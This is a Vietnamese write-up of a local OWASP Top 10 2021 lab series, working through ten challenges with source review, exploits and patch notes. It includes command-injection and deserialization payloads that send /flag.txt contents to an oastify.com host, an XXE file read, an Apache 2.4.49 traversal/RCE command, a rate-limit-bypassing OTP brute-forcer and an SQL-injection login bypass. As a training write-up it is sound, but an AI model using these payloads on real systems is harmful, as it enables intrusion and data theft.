Try   HackMD

Tình cờ lướt FB thì thấy có một bài viết trong group WhiteHat share các bài LAB về top 10 OWASP 2021. Luôn tiện mình cũng đặt thử thách cho bản thân xem có thể hoàn thành hết được không :v Mục đích kiểm tra lại các kiến thức đã học trước giờ.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

How to SETUP:

  • Mình sử dụng Docker Desktop, có thể sử dụng Docker trong Kali,Ubuntu, đều được
  • Làm bài nào thì truy cập đến folder bài đó
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
  • Sử dụng command docker compose up -d để run
  • Sau khi run xong thì chúng ta sẽ kiểm tra Containers đã Running chưa
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    Sau đó nhấn vào container vừa run đó để xem nó mở ở port nào, ví dụ
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    Thì chúng ta sẽ truy cập vào http://localhost:10010

01. Broken Access Control

Enumeration:

  • Trang web có 2 routes chính là login, và account (Sau khi login thành công)
  • Lỗi ở bài này nằm ở code trong account.php
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    Line 13 chỉ đơn giản là GET vào parameter account_number mà không check session của user đó có quyền xem các user khác không.

Exploit:

  • Ở trang index, tác giả có đưa cho chúng ta một account guest
    <!-- Default Credential: guest/guest -->

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Sau khi login thì chúng ta sẽ tiến hành khai thác lỗi để check các user khác (Mục đính cuối cùng là lấy FLAG) với ID 8073

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

How to patch:

Gắn biến accountNumber của user cho session, nếu GET đến accountNumber != accountNumber của session thì không thể thực hiện.

02. Cryptographic Failures

Enumeration:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Giống với bài lab trên, ta sẽ có user mặc định guest/guest

  • Mục tiêu của bài này là chúng ta cần login với account có ID là 8073 (account.html):
if ($accountDetails && $_SESSION['user_id'] == 8073){ echo "<h3>Bounty_Boys{Captured_The_Flag}</h3><br>"; }
  • Review qua src code, ta có thể thấy có thêm file robots.txt, nếu làm blackbox thì cũng có thể fuzz ra được.
  • Sau khi truy cập ta có đoạn nội dung bên trong file là:
    /database.db
  • Như vậy ta sẽ biết thêm một endpoint mới là /database.db

Exploit:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Sau khi truy cập chúng ta sẽ down được file db của bài về. Một chú ý nữa bên trong đoạn code index.php line 10:
$password = md5($raw_password);

  • Password trong db chỉ lưu với mã hoá MD5, nếu có một số password đơn giản thì ta có thể crack.
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Sau khi crack ta có được account bountyboys/power

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

How to patch:

  • Không lưu các file dữ liệu quan trọng có thể truy cập từ trang web(Lưu trong hệ thông)
  • Không sử dụng các mã hoá đơn giản cho mật khẩu, thêm salt,..

03. Injection Flaws

Enumeration:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Bài này có một chức năng search
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Review source code:

Ở bên trong file index.php có đoạn code bị dính lỗi command injection:

$search = $_GET["search"];                       
$command = "cut -d':' -f1 /etc/passwd | grep $search";
$returned_user = exec($command);

Exploit:

File flag.txt được đặt ở root, ta có thể thấy ở file DockerFile:
RUN echo "Bounty_Boys{Captured_The_Flag}" > /flag.txt
Payload:

`curl http://839zy413x9ta4wlamcwdr5557wdn1c.oastify.com -d @/flag.txt`

Mình sử dụng Backtick `` để biến $search đó thực thi đầu tiên, sau đó mới đến command của author: cut

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Ngoài ra bài có 1 vul RXSS :v Tuy nhiên không liên quan tới bài lắm :v

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

How to patch:

  • Sử dụng hàm escapeshellcmd cho các input

04. Insecure Design

Enumeration:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Trang web có 2 chức năng chính:

  • POST ID là CVE-170144 và OTP của ID đó thì sẽ lấy được FLAG
  • Có thể refresh OTP cho ID nếu như bị hết hạn.

Review source code:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Đoạn code trên thực hiện lưu IP từ user request vào redis, mỗi request từ IP đó sẽ giới hạn 5 lần trong 60s.
Và OTP chỉ có 4 kí tự từ 0-9:
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Exploit:

Để bypass việc giới hạn IP, chúng ta sẽ sử dụng thêm header Client-IP tạo ngẫu nhiên cho mỗi request brute fore

Mình viết đoạn script sau, cái chính là tạo random các IP, và sử dụng thêm thread để việc brute nhanh hơn:

import requests import socket import random import threading url = "http://localhost:4004/" def generate_random_ipv4(): addresses = set() while len(addresses) < 10000: # Generate a random IPv4 address ip_address = ".".join(map(str, (random.randint(0, 255) for _ in range(4)))) # Add the address to the set (to ensure uniqueness) addresses.add(ip_address) return list(addresses) def generate_numbers(): number_strings = [] for number in range(10000): # Convert the number to a 4-character string and append to the list number_string = str(number).zfill(4) number_strings.append(number_string) return number_strings def send_request(ip_address, otp): headers = {"Client-IP": ip_address} r = requests.post(url + "index.php", data={"id": "CVE-170144", "otp": otp}, headers=headers) if "Wrong OTP" not in r.text: print(r.text) return True return False # Refresh OTP requests.post(url + "generator.php", data={"id": "CVE-170144"}) # Generate random IPv4 addresses and numbers ipv4_addresses = generate_random_ipv4() otp_numbers = generate_numbers() # Define a function to handle sending requests in parallel def send_requests(start, end): for i in range(start, end): if i < len(ipv4_addresses) and i < len(otp_numbers): if send_request(ipv4_addresses[i], otp_numbers[i]): break # Define the number of threads num_threads = 100 # Divide the work among threads chunk_size = len(ipv4_addresses) // num_threads # Create and start threads threads = [] for i in range(num_threads): start = i * chunk_size end = (i + 1) * chunk_size if i < num_threads - 1 else len(ipv4_addresses) thread = threading.Thread(target=send_requests, args=(start, end)) threads.append(thread) thread.start() # Wait for all threads to finish for thread in threads: thread.join()

05. Security Misconfiguration

Enumeration:

image

Bài này gửi input qua phương thức POST và dữ liệu XML chứa tên người dùng vào form rồi gửi tới server thông qua AJAX.

Review source code:

Ở line 4 trong index.php:
$xml = simplexml_load_string($xmlString, 'SimpleXMLElement', LIBXML_NOENT);
Việc sử dụng tham số LIBXML_NOENT sẽ dẫn đến lỗi XXE Injection.

image

Exploit:

Payload:

<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "file:///flag.txt"> ]> <userInfo><clientname>&file;</clientname></userInfo>

image

How to patch:

  • Không sử dụng các hàm, hay tham số có khả năng load external entity.

06. Vulnerable and Outdated Components

Enumeration:

Trang web không có chức năng gì cả :v Ngoài một điều đáng chú ý là sử dụng Apache/2.4.49

Review source code:

Sau khi search về version này thì mình có thấy CVE-2021-41733, khai thác được cả 2 lỗi: Path traversal và RCE
Tuy nhiên để RCE cần enable lại 2 chỗ trong file conf httpd.conf như sau:
image
image

Exploit:

POC CVE: https://www.exploit-db.com/exploits/50383
Payload: curl http://localhost:6006/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -v --data 'echo;cat /flag.txt' -X POST
image
Hoặc
image
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt

How to patch:

  • Update version lên phiên bản mới nhất.

07. Identification and Authentication Failures

Enumeration:

Trang web có 2 chức năng: Register và Login
Mục tiêu của bài là làm sao đó có thể authen với user superuser sẽ có FLAG:

$users = [ 'superuser' => [ 'content' => 'Bounty_Boys{Captured_The_Flag}' ] ];

Review source code:

Phần follow code sẽ như sau:

Khi gọi đến chức năng Register
image
-> Tiếp tục sẽ gọi đến hàm register_user
image
Hàm này sẽ check username đã tồn tại trong file db hay chưa.
Vậy lỗi xảy ra ở đâu :v

  • Sau khi register, thì line 60 kiểm tra: nếu username chưa được tạo thì sẽ xuống dòng 61, sau đó trim(loại bỏ khoảng trắng 2 đầu) rồi gắn vào session.
  • Vậy ý tưởng là sẽ tạo username = superuser với một khoảng trắng ở sau, sẽ thoả mãn điều kiện chưa tồn tại. Sau đó session sẽ trở thành superuser

Exploit:

Request 1:
image
Request 2, sau đó redirect tới get Flag:
image

How to patch:

  • Sử dụng hàm trim ở input

08. Software and Data Integrity Failures

Enumeration:

image

Review source code:

Sau khi input vào form, các giá trị sẽ gắn vào class Gun, và được lưu vào file theo session dưới dạng chuỗi serialized. Nếu như sử dụng button Show Guns, thì đoạn code sẽ gọi đến hàm unserialize, convert lại chuỗi ser của session của mình.
image
Trong class Resource có gọi đến một hàm system dẫn đến việc bị command injection với unserialize nếu như attacker có thể control biến trong class Resource.
image
Trong đoạn code này, sau khi đọc file chuỗi ser theo session, thì $gun_data sử dụng hàm explode để convert thành các mảng bởi phân cách |
Như vậy ta sẽ lợi dụng dấu | tạo thêm một chuỗi ser gọi đến class Resource.

Exploit:

Tạo đoạn ser với class Resource như sau:

<?php class Resource { public $link; public function __construct($link) { $this->link = $link; } public function getgun() { return system("curl " . $this->link); } } $link = "http://fq9xa68djj7wvd1jyt9p7d90zr5ht6.oastify.com/?FLAG=`cat /flag.txt`"; $a = new Resource($link); $c = serialize($a) . PHP_EOL; echo $c . PHP_EOL; ?>

Sau đó request với payload vừa tạo được:

name=GunName&type=GunType";}|O:8:"Resource":1:{s:4:"link";s:71:"http://fq9xa68djj7wvd1jyt9p7d90zr5ht6.oastify.com/?FLAG=`cat /flag.txt`";}|

image

Cuối cùng thì gọi đến ?action=show để hàm unserialize thực thi

How to patch:

"You should never use unserialize on user input"

09. Security Logging and Monitoring Failures

Enumeration:

Như tên của challenge, thì bài này config lỗi dẫn đến lộ file log truy cập từ các user, bằng các truy cập vào endpoint /logs.txt
image
Tuy nhiên để lấy được FLAG cần tìm đến vul khác

Review source code:

image
Với query Sql này ở dòng 11, dẫn đến việc bị SQL injection.

Exploit:

image

  • Có thể dump db để lấy FLAG, tuy nhiên chỉ cần biết username thôi cũng đủ để login.
    Bằng cách sử dụng payload username=bountyboys' -- -&password=a sẽ comment (vô hiệu hoá) đi đoạn password ở sau, query sẽ trở thành:
    SELECT account_number FROM users WHERE username = 'bountyboys' -- -' AND password = '$password', như vậy sẽ login mà không cần password.

10 .Server-Side Request Forgery

Enumeration:

image
Ở bài này sẽ thực hiện gen ảnh ra từ content url chúng ta input vào.

Review source code:

Bài này khá tương tự bài lab 4, ta cần OTP để xác thực cho id là CVE-170144, tuy nhiên ở bài này, muốn lấy FLAG, thì cần ip truy cập từ mạng local:

$allowed_ip = '127.0.0.1';
$user_ip = $_SERVER['REMOTE_ADDR'];

if ($user_ip !== $allowed_ip) {
    header('HTTP/1.0 403 Forbidden');
    exit('You are not allowed to access this file.');
}

Exploit:

Lợi dụng chức năng get content từ url của trang web, mình sẽ khai thác nó để request vào local một cách hợp lệ (SSRF)
Request 1: Mình refresh lại OTP cho ID CVE-170144 trước
image

Request 2: Brute force OTP: http://127.0.0.1/local?id=CVE-170144&otp=, và không bị limit request từ ip:
image
Mình tận dụng luôn Intruder của BurpSuite để bruteforce
image
image

Conclusion

Cảm ơn anh Hung Thinh Tran đã tạo ra các bài lab để mọi người học tập và trải nghiệm <3